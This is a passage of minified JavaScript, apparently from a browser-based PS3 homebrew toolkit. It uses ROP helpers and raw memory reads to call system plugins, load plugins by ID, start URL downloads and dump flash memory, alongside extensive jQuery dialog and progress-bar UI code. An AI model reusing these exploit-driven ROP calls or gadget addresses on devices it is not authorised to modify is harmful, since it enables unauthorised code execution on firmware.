"+p.getHours().toString8(10)+":"+p.getMinutes().toString8(10),Width:"0",Height:"0",Size:c.toString64()}}),helper.sctx.totalSize=helper.sctx.totalSize.add(c)}}}scan_dir(e,t)})}},play_soundOK=function(){return helper.sound_ok=helper.sound_ok>0?helper.sound_ok:helper.heap.store("snd_trophy",!0),playRCOSound("system_plugin","snd_trophy")},play_soundNG=function(){return helper.sound_ng=helper.sound_ng>0?helper.sound_ng:helper.heap.store("snd_system_ng",!0),playRCOSound("system_plugin","snd_system_ng")},playRCOSound=function(e,t){var r="snd_trophy"===t?helper.sound_ok:"snd_edy_ng"===t?helper.sound_ng:helper.heap.store(t,!0),s=getPluginViewid(e);return s=s>0?helper.rop.rrun(callsub(helper.vshgadgets_box.sub_bl_to_paf_B93AFE7E_addr,helper.vshgadgets_box.vtoc_addr,s,r,1065353216,0,0,0,helper.vshdata_storage,0,0,128)):0},getPluginViewid=function(e){var t=0;return"system_plugin"===e?(helper.system_plugin=helper.system_plugin>0?helper.system_plugin:helper.heap.store("system_plugin",!0),t=helper.system_plugin):"xmb_plugin"===e?(helper.xmb_plugin=helper.xmb_plugin>0?helper.xmb_plugin:helper.heap.store("xmb_plugin",!0),t=helper.xmb_plugin):"edy_plugin"===e?(helper.edy_plugin=helper.edy_plugin>0?helper.edy_plugin:helper.heap.store("edy_plugin",!0),t=helper.edy_plugin):"osk_plugin"===e?(helper.osk_plugin=helper.osk_plugin>0?helper.osk_plugin:helper.heap.store("osk_plugin",!0),t=helper.osk_plugin):"explore_plugin"===e?(helper.explore_plugin=helper.explore_plugin>0?helper.explore_plugin:helper.heap.store("explore_plugin",!0),t=helper.explore_plugin):"download_plugin"===e?(helper.download_plugin=helper.download_plugin>0?helper.download_plugin:helper.heap.store("download_plugin",!0),t=helper.download_plugin):"webrender_plugin"===e&&(helper.webbrowser_plugin=helper.webbrowser_plugin>0?helper.webbrowser_plugin:helper.heap.store("webrender_plugin",!0),t=helper.webbrowser_plugin),t>0?paf.export_F21655F3(t):-1},getPluginInterface=function(e,t){return paf.export_23AFB290(e,t)},getXMM0IF=function(){if(helper.xmm0_interface<=0){var e=getPluginViewid("xmb_plugin"),t=e>0?getPluginInterface(e,1481461040):0;return t>0?(helper.xmm0_interface=t,0):(helper.xmm0_interface=0,Logger.error("getXMM0IF: Failure to acquire xmb_plugin interface xmm0"),-1)}},getWBIF=function(){if(helper.webbrowser_plugin_interface<=0){var e=getPluginViewid("webrender_plugin"),t=e>0?getPluginInterface(e,1):0;return t>0?(helper.webbrowser_plugin_interface=t,0):(helper.webbrowser_plugin_interface=0,Logger.error("getWBIF: Failure to acquire webrender_plugin interface 1"),-1)}},getDLPIF=function(){if(helper.download_plugin_interface<=0){var e=getPluginViewid("download_plugin");if(e<=0){Logger.info("getDLPIF: loading download_plugin");var t=LoadPluginById(41,null);Logger.info("getDLPIF: LoadPluginById returned: 0x"+t.toString(16)),0!==t&&1!==t&&(sleep(1),t=LoadPluginById(41,null),Logger.info("getDLPIF: LoadPluginById returned: 0x"+t.toString(16))),sleep(2),e=0===t||1===t?getPluginViewid("download_plugin"):0}else Logger.info("getDLPIF: download_plugin already loaded");Logger.info("getDLPIF: view: 0x"+e.toString(16));var r=e>0?getPluginInterface(e,1):0;return r>0?(Logger.info("getDLPIF: loaded download_plugin interface"),helper.download_plugin_interface=r,0):(helper.download_plugin_interface=0,Logger.error("getDLPIF: failure to acquire download_plugin interface 1"),-1)}},getEXPIF=function(){if(helper.explore_plugin_interface<=0){var e=getPluginViewid("explore_plugin");if(e<=0){var t=LoadPluginById(2,null);sleep(1),e=0===t||1===t?getPluginViewid("explore_plugin"):0}var r=e>0?getPluginInterface(e,1):0;return r>0?(helper.explore_plugin_interface=r,0):(helper.explore_plugin_interface=0,Logger.error("getEXPIF: Failure to acquire explore_plugin interface 1"),-1)}},wakeBrowser_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.webbrowser_plugin_interface),0)},DownloadStartBrowser_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.webbrowser_plugin_interface+56),e)},DownloadURL_sf=function(e,t){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+20),0,e,t)},setURL_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+4),e)},setPath_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+8),e)},DownloadselDestination_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface),0)},DownloadselDestination2_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+60),0)},DownloadselDevice_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+68),0)},downloadObject=function(e,t,r,s){var o="";this.log="Download Operations:
    Thread BGTOOLSET_DL created
    URL: "+e+"
    Path: "+t,o+=DownloadURL_sf(e,t),this.sfd[0]=o,o=""},LoadPluginById=function(e,t){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+12),e,t,0):-1},ClosePluginById=function(e,t){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+20),e,t,1):-1},UnloadPluginById=function(e,t){return helper.xmm0_interface=helper.xmm0_interface>0?helper.xmm0_interface:getPluginInterface(getPluginViewid("xmb_plugin"),helper.heap.store("XMM0",!0)),call(helper.memory.upeek32(helper.xmm0_interface+0),e,t)},clean_guiDialog=function(e){Logger.info("guiDialog cleanup");var t=e?$("#"+e.txt):$("#dg-text");(e?$("#"+e.conf):$("#dg-confirm")).dialog("close"),t.html("")},confirmDialog=function(e,t,r,s,o,l,n){Logger.info("confirmDialog object building"),guiDialog([{text:"No",icon:"ui-icon-close",click:function(e,t){o&&(Logger.info("confirmDialog executing the 'cbno' post callback"),$.Deferred().done(o).resolve(l)),clean_guiDialog(n)}},{text:"Yes",icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("confirmDialog executing the 'cbyes' post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog(n)}}],e,t,null,null,n)},enableScanDialogButtons=function(){$("#dg-confirm").parent().find(".ui-dialog-buttonset").children().button("option","disabled",!1)},setScanDialogContents=function(e){$("#dg-confirm").parent().find(".ui-dialog-content").innerHTML=e},updateScanDialogCounts=function(e,t){var r=$("#dg-confirm").parent();r.find("#focount").innerHTML=e,r.find("#ficount").innerHTML=t},confirmWaitScanDialog=function(e,t,r,s,o,l){Logger.info("confirmWaitScanDialog object building"),guiDialog([{text:"No",disabled:!0,icon:"ui-icon-close",click:function(e,t){o&&(Logger.info("confirmWaitScanDialog executing the 'cbno' post callback"),$.Deferred().done(o).resolve(l)),clean_guiDialog()}},{text:"Yes",disabled:!0,icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("confirmWaitScanDialog executing the 'cbyes' post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog()}}],"

    Processing folders: files:

    "+e+"

    ",t)},infoDialog=function(e,t,r,s,o,l){Logger.info("infoDialog object building"),$("#dg-text").prepend(""),guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,t){r&&$.Deferred().done(r).resolve(s),$("#dg-confirm").find("span.ui-icon-alert").remove(),clean_guiDialog()}}],e,t,o,l)},htmlDialog=function(e,t,r,s,o,l){Logger.info("htmlDialog object building"),guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("htmlDialog executing post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog()}}],e,t,o,l)},guiDialog=function(e,t,r,s,o,l){Logger.info("guiDialog core object creation");var n=l?$("#"+l.txt):$("#dg-text"),i=l?$("#"+l.conf):$("#dg-confirm");Logger.info("guiDialog adding html content"),n.html(t),Logger.info("guiDialog executing precallback"),s&&$.Deferred().done(s).resolve(o),Logger.info("guiDialog creating the guiDialog jQuery object"),i.dialog({resizable:!1,dialogClass:"no-close",title:r,height:"auto",show:{effect:"fade",duration:250},hide:{effect:"fade",duration:0},width:"auto",modal:!0,buttons:e}),i.parent().find("button").focus(),setTimeout(function(){var e=i.parent().find(".ui-dialog-buttonpane");e.hover(function(){e.find(".ui-button").blur()})},100)},toast=function(e,t,r,s,o){return Logger.info("Toast object building"),$().toastmessage("showToast",{inEffectDuration:600,stayTime:1e3*r,text:e,position:"top-right",type:"info"===t?"notice":t,closeText:"",close:function(){s&&(Logger.info("Toast executing the post callback"),$.Deferred().done(s).resolve(o))}})},pbsDialog=function(e,t){Logger.info("pbsDialog object building");var r=null,s=e||{container_id:"pbs",dialog_id:"dsfmProgress",dialog_class:"pbdDialog",pbarg_id:"gsfmprogressbar",pbarstatus_id:"dsfm_status",pbarlabelg_id:"plsfm_gstatus",pbarvalg_id:"gsfmprogressbar_val",pbaricon_id:"dsicon_status",pbfs_id:"sfm_cont_status",pbarlog_id:"uslog"};if(!s.container_id)throw Logger.error("pbsDialog: Bad argument"),Error("pbsDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+s.container_id+"]").length)throw Error("pbsDialog: Missing html element: "+s.container_id);s.dialog_id||(s.dialog_id="dsfmProgress"),s.dialog_class||(s.dialog_class="pbdDialog"),s.pbarg_id||(s.pbarg_id="gsfmprogressbar"),s.pbarstatus_id||(s.pbarstatus_id="dsfm_status"),s.pbarlabelg_id||(s.pbarlabelg_id="plsfm_gstatus"),s.pbarvalg_id||(s.pbarvalg_id="gsfmprogressbar_val"),s.pbaricon_id||(s.pbaricon_id="dsicon_status"),s.pbfs_id||(s.pbfs_id="sfm_cont_status"),s.pbarlog_id||(s.pbarlog_id="ulog"),t||jQuery("."+s.dialog_class).remove();var o=document.createElement("div");o.id=s.dialog_id,o.className="diag-"+s.dialog_id+" ui-helper-hidden "+s.dialog_class,o.title="Operations Progress";var l=document.createElement("div");l.id=s.pbarlog_id,l.className="ui-helper-hidden "+s.dialog_class,jQuery("#"+s.container_id).append([o,l]);var n=document.createElement("fieldset");n.className="dsfp ui-widget-content ui-corner-all "+s.dialog_class;var i=document.createElement("div");i.id=s.pbfs_id,i.className="diag-"+s.pbfs_id.replace("_","-")+" "+s.dialog_class;var a=document.createElement("div");a.id=s.pbarstatus_id,a.className="diag-"+s.pbarstatus_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+s.dialog_class,a.innerText="....";var p=document.createElement("div");p.id=s.pbaricon_id,p.className="icon-status hourglass "+s.dialog_class,i.appendChild(a),i.appendChild(p);var c=document.createElement("div");c.id=s.pbarlabelg_id,c.className="diag-"+s.pbarlabelg_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+s.dialog_class,c.innerText="....";var d=document.createElement("div");d.id=s.pbarvalg_id,d.className="progress-val "+s.dialog_class;var u=document.createElement("div");u.id=s.pbarg_id,u.className="diag-"+s.pbarg_id+" "+s.dialog_class,u.appendChild(d);var h=jQuery("#"+s.dialog_id).append(n);h.find(n).append([i,c,d,u]);var g=!1,f=jQuery("#"+s.pbarg_id),_=jQuery("#"+s.pbarstatus_id),m=jQuery("#"+s.pbarlabelg_id),x=jQuery("#"+s.pbarvalg_id),b=function(e){jQuery.each(jQuery("#"+s.pbaricon_id),function(t,r){jQuery(r).attr("class","icon-status "+e)})},y=[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){g=!0})}}],v=h.dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:290,width:575,buttons:y,show:{effect:"fade",duration:1500},hide:{effect:"fade",duration:800},open:function(e,t){b("hourglass"),m.text("Generating worker thread data"),x.text(""),f.progressbar("value",!1),_.text("Initializing Operations"),g=!1},close:function(e,t){}});f.progressbar({value:!1,change:function(e,t){var r=f.progressbar("value"),s=!1!==r?r+"%":"";x.text(s)},complete:function(e,t){x.text("Done");var o=[{text:"Log",icon:"ui-icon-info",click:function(e,t){infoDialog(jQuery("#"+s.pbarlog_id).html(),"Log",function(){jQuery("#"+s.dialog_id).parent().find("button:last").focus().blur()})}}];if(r&&r.afterload_callback){var l=r.afterload_callback(r.buffer);l&&o.push(l),r=null}o.push({text:"Close",icon:"ui-icon-closethick",click:function(e,t){v.dialog("option",{close:function(e,t){}}),v.dialog("close"),r&&r.post_callback&&r.post_callback(r.buffer)}}),v.dialog("option","buttons",o)}}),this.ulog=function(e,t){var r=document.getElementById(s.pbarlog_id);r&&(t?r.innerHTML="":r.innerHTML+="
    "+e),e.length>0&&Logger.info(e)},this.setIconStatus=function(e){b(e)},this.updateGlobalValue=function(e){f.progressbar("value",e>0&&e<100&&Math.floor(e)!==e?Math.floor(e)+1:Math.floor(e))},this.updateGlobalLabel=function(e){m.text(e)},this.updateStatusText=function(e){_.text(e)},this.getStatusText=function(){return _.text()},this.setTitle=function(e){v.dialog("option","title",e)},this.updateStatusStyle=function(e){_.css(e)},this.updateProgressDialog=function(e,t){e&&(e.istatus&&this.setIconStatus(e.istatus),e.title&&this.setTitle(e.title),e.glabel&&this.updateGlobalLabel(e.glabel),e.gvalue&&this.updateGlobalValue(e.gvalue)),t&&this.updateStatusText(getElapsedTime(t)),jQuery("#"+s.dialog_id).parent().find("button").blur()},this.open=function(e,t){this.ulog("",!0),!0===e?(v.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){toast("Current operations cannot be cancelled","warning",3)}}]),v.dialog("option","classes.ui-dialog","no-close"),v.dialog("option",{close:function(e,t){}})):(t?(v.dialog("option",{close:function(e,r){t()}}),v.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){v.dialog("close")})}}])):(v.dialog("option","buttons",y),v.dialog("option",{close:function(e,t){}})),v.dialog("option","classes.ui-dialog","ui-dialog-titlebar-close")),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+s.container_id).removeClass("ui-helper-hidden"),jQuery("#"+s.dialog_id).removeClass("ui-helper-hidden"),v.parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip(),v.dialog("open")},this.close=function(){v.dialog("close"),jQuery("#"+s.container_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+s.dialog_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},this.cancel=function(){g=!0},this.cancelled=function(){return g},this.setCallback=function(e){e&&(r=e)}},pbdDialog=function(e,t){Logger.info("pbdDialog object building");var r=e||{container_id:"pbd",dialog_id:"dfmProgress",dialog_class:"pbsDialog",pbarg_id:"gfmprogressbar",pbard_id:"dprogressbar",pbarstatus_id:"dfm_status",pbarlabelg_id:"plfm_gstatus",pbarlabeld_id:"plfm_dstatus",pbarvalg_id:"gfmprogressbar_val",pbarvald_id:"dprogressbar_val",pbaricon_id:"dicon_status",pbfs_id:"fm_cont_status",pbarlog_id:"ulog"};if(!r.container_id)throw Logger.error("pbdDialog: Bad argument"),Error("pbdDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+r.container_id+"]").length)throw Error("pbdDialog: Missing html element: "+r.container_id);r.dialog_id||(r.dialog_id="dfmProgress"),r.dialog_class||(r.dialog_class="pbsDialog"),r.pbarg_id||(r.pbarg_id="gfmprogressbar"),r.pbard_id||(r.pbard_id="dprogressbar"),r.pbarstatus_id||(r.pbarstatus_id="dfm_status"),r.pbarlabelg_id||(r.pbarlabelg_id="plfm_gstatus"),r.pbarlabeld_id||(r.pbarlabeld_id="plfm_dstatus"),r.pbarvalg_id||(r.pbarvalg_id="gfmprogressbar_val"),r.pbarvald_id||(r.pbarvald_id="dprogressbar_val"),r.pbaricon_id||(r.pbaricon_id="dicon_status"),r.pbfs_id||(r.pbfs_id="fm_cont_status"),r.pbarlog_id||(r.pbarlog_id="ulog"),t||jQuery("."+r.dialog_class).remove();var s=document.createElement("div");s.id=r.dialog_id,s.className="diag-"+r.dialog_id+" ui-helper-hidden "+r.dialog_class,s.title="Operations Progress";var o=document.createElement("div");o.id=r.pbarlog_id,o.className="ui-helper-hidden "+r.dialog_class,jQuery("#"+r.container_id).append([s,o]);var l=document.createElement("fieldset");l.className="dfp ui-widget-content ui-corner-all";var n=document.createElement("div");n.id=r.pbfs_id,n.className="diag-"+r.pbfs_id.replace("_","-")+" "+r.dialog_class;var i=document.createElement("div");i.id=r.pbarstatus_id,i.className="diag-"+r.pbarstatus_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,i.innerText="....";var a=document.createElement("div");a.id=r.pbaricon_id,a.className="icon-status hourglass "+r.dialog_class,n.appendChild(i),n.appendChild(a);var p=document.createElement("div");p.id=r.pbarlabelg_id,p.className="diag-"+r.pbarlabelg_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,p.innerText="....";var c=document.createElement("div");c.id=r.pbarvalg_id,c.className="progress-val "+r.dialog_class;var d=document.createElement("div");d.id=r.pbarg_id,d.className="diag-"+r.pbarg_id+" "+r.dialog_class,d.appendChild(c);var u=document.createElement("div");u.id=r.pbarlabeld_id,u.className="diag-"+r.pbarlabeld_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,u.innerText="....";var h=document.createElement("div");h.id=r.pbard_id,h.className="diag-"+r.pbard_id+" "+r.dialog_class;var g=document.createElement("div");g.id=r.pbarvald_id,g.className="progress-val "+r.dialog_class,h.appendChild(g);var f=jQuery("#"+r.dialog_id).append(l);f.find(l).append([n,p,c,d,u,h]);var _=!1,m=jQuery("#"+r.pbarg_id),x=jQuery("#"+r.pbard_id),b=jQuery("#"+r.pbarstatus_id),y=jQuery("#"+r.pbarlabelg_id),v=jQuery("#"+r.pbarlabeld_id),C=jQuery("#"+r.pbarvalg_id),D=jQuery("#"+r.pbarvald_id),F=function(e){jQuery.each(jQuery("#"+r.pbaricon_id),function(t,r){jQuery(r).attr("class","icon-status "+e)})},S=[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){_=!0})}}],k=f.dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:390,width:575,buttons:S,show:{effect:"fade",duration:1500},hide:{effect:"fade",duration:800},open:function(e,t){F("hourglass"),y.text("Generating worker thread data"),v.text("Idle"),C.text(""),D.text(""),m.progressbar("value",!1),x.progressbar("value",!1),b.text("Initializing Operations"),_=!1}});m.progressbar({value:!1,change:function(e,t){var r=m.progressbar("value"),s=!1!==r?r+"%":"";C.text(s)},complete:function(e,t){C.text("Done"),D.text("Done"),k.dialog("option","buttons",[{text:"Log",icon:"ui-icon-info",click:function(e,t){infoDialog(jQuery("#"+r.pbarlog_id).html(),"Log",function(){jQuery("#"+r.dialog_id).parent().find("button:last").focus().blur()})}},{text:"Close",icon:"ui-icon-check",click:function(e,t){k.dialog("option",{close:function(e,t){}}),k.dialog("close")}}])}}),x.progressbar({value:!1,change:function(e,t){var r=x.progressbar("value"),s=!1!==r?r+"%":"";D.text(s)},complete:function(e,t){}}),this.ulog=function(e,t){var s=document.getElementById(r.pbarlog_id);s&&(t?s.innerHTML="":s.innerHTML+="
    "+e),e.length>0&&Logger.info(e)},this.setIconStatus=function(e){F(e)},this.updateGlobalValue=function(e){m.progressbar("value",e>0&&e<100&&Math.floor(e)!==e?Math.floor(e)+1:Math.floor(e))},this.updateDetailValue=function(e){x.progressbar("value",Math.floor(e))},this.updateGlobalLabel=function(e){y.text(e)},this.updateDetailLabel=function(e){v.text(e)},this.updateStatusText=function(e){b.text(e)},this.getStatusText=function(){return b.text()},this.setTitle=function(e){k.dialog("option","title","Flash Memory Manager: "+e)},this.updateStatusStyle=function(e){b.css(e)},this.updateProgressDialog=function(e,t){e&&(e.istatus&&this.setIconStatus(e.istatus),e.title&&this.setTitle(e.title),e.dlabel&&this.updateDetailLabel(e.dlabel),e.glabel&&this.updateGlobalLabel(e.glabel),e.dvalue&&this.updateDetailValue(e.dvalue),e.gvalue&&this.updateGlobalValue(e.gvalue)),t&&this.updateStatusText(getElapsedTime(t)),jQuery("#"+r.dialog_id).parent().find("button").blur()},this.open=function(e,t){this.ulog("",!0),!0===e?(k.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){toast("Current operations cannot be cancelled","warning",3)}}]),k.dialog("option","classes.ui-dialog","no-close"),k.dialog("option",{close:function(e,t){}})):(t?(k.dialog("option",{close:function(e,r){t()}}),k.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){k.dialog("close")})}}])):(k.dialog("option","buttons",S),k.dialog("option",{close:function(e,t){}})),k.dialog("option","classes.ui-dialog","ui-dialog-titlebar-close")),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+r.container_id).removeClass("ui-helper-hidden"),jQuery("#"+r.dialog_id).removeClass("ui-helper-hidden"),k.parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip(),k.dialog("open")},this.close=function(){k.dialog("close"),jQuery("#"+r.container_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+r.dialog_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},this.cancel=function(){_=!0},this.cancelled=function(){return _}},sDialog=function(e){Logger.info("sDialog object building");var t=null,r=e||{container_id:"sd_container",tree_id:"dSTree",ftree_id:"fTree",sbutton_id:"dSave_As",scb_class:"scbsave",ifilename_name:"sDialog_FileName",spath_id:"lsDialog_Path",default_fname:"dump.hex",pbar_object:null,spbar_object:null,default_object:null};if(!r.container_id)throw Logger.error("sDialog: Bad argument"),Error("sDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+r.container_id+"]").length)throw Error("sDialog: Missing html element: "+r.container_id);r.tree_id||(r.tree_id="dSTree"),r.ftree_id||(r.ftree_id="fTree"),r.sbutton_id||(r.sbutton_id="dSave_As"),r.scb_class||(r.scb_class="scbsave"),r.ifilename_name||(r.ifilename_name="sDialog_FileName"),r.spath_id||(r.spath_id="lsDialog_Path"),r.default_fname||(r.default_fname="dump.hex"),jQuery("#"+r.container_id).replaceWith("
    \t\t\t\t\t\t
    \t\t\t\t\t\t\t \t\t\t\t\t\t\t \t\t\t\t\t\t
    \t\t\t\t\t\t
    \t\t\t\t\t\t\t
    \t\t\t\t\t\t
    \t\t\t\t\t
    ");var s=jQuery("#"+r.tree_id),o=jQuery("input[name="+r.ifilename_name+"]"),l=jQuery("label[id="+r.spath_id+"]"),n=r.default_fname?r.default_fname:"dump.hex",i="",a=this,p=r.default_object?r.default_object:{sector_count:489472,nsec_iter:32768,dump_start:0,save_offset:0,file_path:"/dev_hdd0/dump.hex",default_name:"dump.hex",pre_callback:null,buffer:null,no_pbar:!1},c=[{text:"Save",icon:"ui-icon-disk",click:function(e,s){if(p.sector_count){function o(){d.dialog("close"),jQuery(".preloader").removeClass("ui-helper-hidden"),p.pre_callback&&p.pre_callback(),setTimeout(function(){return p.buffer=helper.sm.getBuffer(),p.tls=helper.worker.fmm.getTLS(),p.buffer?p.tls?(r.pbar_object&&(r.pbar_object.setTitle("Dumping Operations Progress"),r.pbar_object.open()),void setTimeout(function(){t.resolve(p)},1200)):(Logger.error("sDialog: TLS memory allocation failed!"),void toast("TLS memory allocation failed","error",5)):(Logger.error("sDialog: Buffer memory allocation failed!"),void toast("Buffer memory allocation failed","error",5))},1e3)}p.file_path=l[0].innerText,fsitem_exists(p.file_path)?confirmDialog("If you continue, "+p.file_path+" will be overwritten","Confirm",o):o()}else if(p.buffer&&p.buffer.size>0){function n(){jQuery(".preloader").removeClass("ui-helper-hidden"),p.pre_callback&&p.pre_callback(),!p.no_pbar&&r.spbar_object&&setTimeout(function(){r.spbar_object.setTitle("Saving File Operations Progress"),r.spbar_object.open()},500),setTimeout(function(){t.resolve(p)},1e3)}d.dialog("close"),p.file_path=l[0].innerText,fsitem_exists(p.file_path)?(Logger.info("File "+p.file_path+" already exists"),confirmDialog("If you continue, "+p.file_path+" will be overwritten","Confirm",n)):(Logger.info("Saving file "+p.file_path),n())}}},{text:"Cancel",icon:"ui-icon-close",click:function(e,t){d.dialog("close")}}];jQuery("#"+r.sbutton_id).removeClass("ui-helper-hidden");var d=jQuery("#"+r.sbutton_id).dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:480,width:720,buttons:c,open:function(e,t){o=jQuery("input[name="+r.ifilename_name+"]"),(l=jQuery("label[id="+r.spath_id+"]")).html(""),o.val(n),s.jstree({core:{multiple:!1,restore_focus:!1,dblclick_toggle:!1,data:function(e,t){if("file"!==e.type){s.find("i.jstree-ocl").addClass("ui-state-disabled");var r=getJSTreeData_wk(this,e,!1,!0);t(-1===r?[]:r),(-1===r||r.length>0)&&(s.find("i.jstree-ocl").removeClass("ui-state-disabled"),this.get_node(e,!0).removeClass("jstree-loading").attr("aria-busy",!1))}}},themes:{dots:!0,icons:!0},sort:function(e,t){return this.get_node(e).text>this.get_node(t).text?1:-1},types:{"#":{max_children:12,max_depth:128,valid_children:["root"]},root:{max_depth:127,icon:"jstree-folder",valid_children:["folder","file"]},folder:{icon:"jstree-folder",valid_children:["folder","file"]},file:{icon:"jstree-file",valid_children:[]}},plugins:["search","types","changed","unique","sort"]}),s.on("select_node.jstree",function(e,t){var r=t.instance.get_fullpath(t.node);"file"===t.node.type?(l.text(r),o.val(t.node.text)):(0===o.val().length&&o.val("dump.hex"),l.text(r+"/"+o.val())),i=r.substr(r.lastIndexOf("/")),a.enableSaveButton(),a.enableSaveText()}),o.on("change",function(e){var t=o.val();validateFileName(t)?(l.text(i+"/"),a.disableSaveButton()):i.length>0?(l.text(i+"/"+t),a.enableSaveButton()):(l.text("Please select a destination folder"),a.disableSaveText(),a.disableSaveButton()),p=!1});var p=!1;o.on("input",function(e){p=!0}),s.parent().on("click",function(e){!0===p&&s.parent().focus()}),s.on("click",function(e){!0===p&&s.focus()}),s.on("after_open.jstree",function(e,t){s.find("i.jstree-ocl").removeClass("ui-state-disabled"),t.instance.get_node(t.node,!0).removeClass("jstree-loading").attr("aria-busy",!1)}),s.on("load_node.jstree",function(e,t){t.instance.get_node(t.node,!0).addClass("jstree-loading").attr("aria-busy",!0),t.instance.open_node(t.node)}),s.on("before_open.jstree",function(e,t){t.instance.get_node(t.node,!0).addClass("jstree-loading").attr("aria-busy",!0);var r=jQuery.grep(t.instance.get_node(t.node.parent).children,function(e,r){return e!==t.node&&t.instance.is_open(e)});t.instance.close_node(r)})},beforeClose:function(e,t){},close:function(e,t){o.val(n),s.jstree("destroy",!0)}});this.setTitle=function(e){d.dialog("option","title",e)},this.open=function(e,o){n=void 0===(p=e||p).default_name||null===p.default_name?"dump.hex":p.default_name,d.dialog("open"),jQuery("."+r.scb_class).mCustomScrollbar("destroy"),jQuery("."+r.scb_class).mCustomScrollbar({theme:"eggplant"===Cookies.get("style")?"light-thick":"dark-thick",keyboard:{enable:!1},mouseWheel:{enable:!1}}),this.disableSaveButton(),this.disableSaveText(),l.text("Please select a destination folder"),(t=jQuery.Deferred()).promise().done(o),s.focus(),jQuery("#"+r.sbutton_id).parent().find("button").blur(),jQuery("#"+r.sbutton_id).parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip()},this.close=function(){d.dialog("close"),jQuery("."+r.scb_class).mCustomScrollbar("destroy")},this.enableSaveText=function(){jQuery("#"+r.ifilename_name).removeClass("ui-state-disabled")},this.disableSaveText=function(){jQuery("#"+r.ifilename_name).removeClass("ui-state-disabled").addClass("ui-state-disabled")},this.disableSaveButton=function(){jQuery("#"+r.sbutton_id).parent().find("div.ui-dialog-buttonset:first").children("button:first").removeClass("ui-state-disabled").addClass("ui-state-disabled").blur()},this.enableSaveButton=function(){jQuery("#"+r.sbutton_id).parent().find("div.ui-dialog-buttonset:first").children("button:first").removeClass("ui-state-disabled").focus().blur()}},lDialog=function(e){Logger.info("lDialog object building");var t=e||{container_id:"ld_container",tree_id:"dLTree",ftree_id:"fTree",lbutton_id:"dLoad",scb_class:"scbload",lpath_id:"dlDialog_Path",pbar_object:null,spbar_object:null,default_object:null};if(!t.container_id)throw Logger.error("lDialog: Bad argument"),Error("lDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+t.container_id+"]").length)throw Error("lDialog: Missing html element: "+t.container_id);t.tree_id||(t.tree_id="dLTree"),t.ftree_id||(t.ftree_id="fTree"),t.lbutton_id||(t.lbutton_id="dLoad"),t.scb_class||(t.scb_class="scbload"),t.lpath_id||(t.lpath_id="dlDialog_Path"),jQuery("#"+t.container_id).replaceWith("
    \t\t\t\t\t\t
    \t\t\t\t\t\t\t
    *.*
    \t\t\t\t\t\t
    \t\t\t\t\t\t
    \t\t\t\t\t\t\t
    \t\t\t\t\t\t
    \t\t\t\t\t
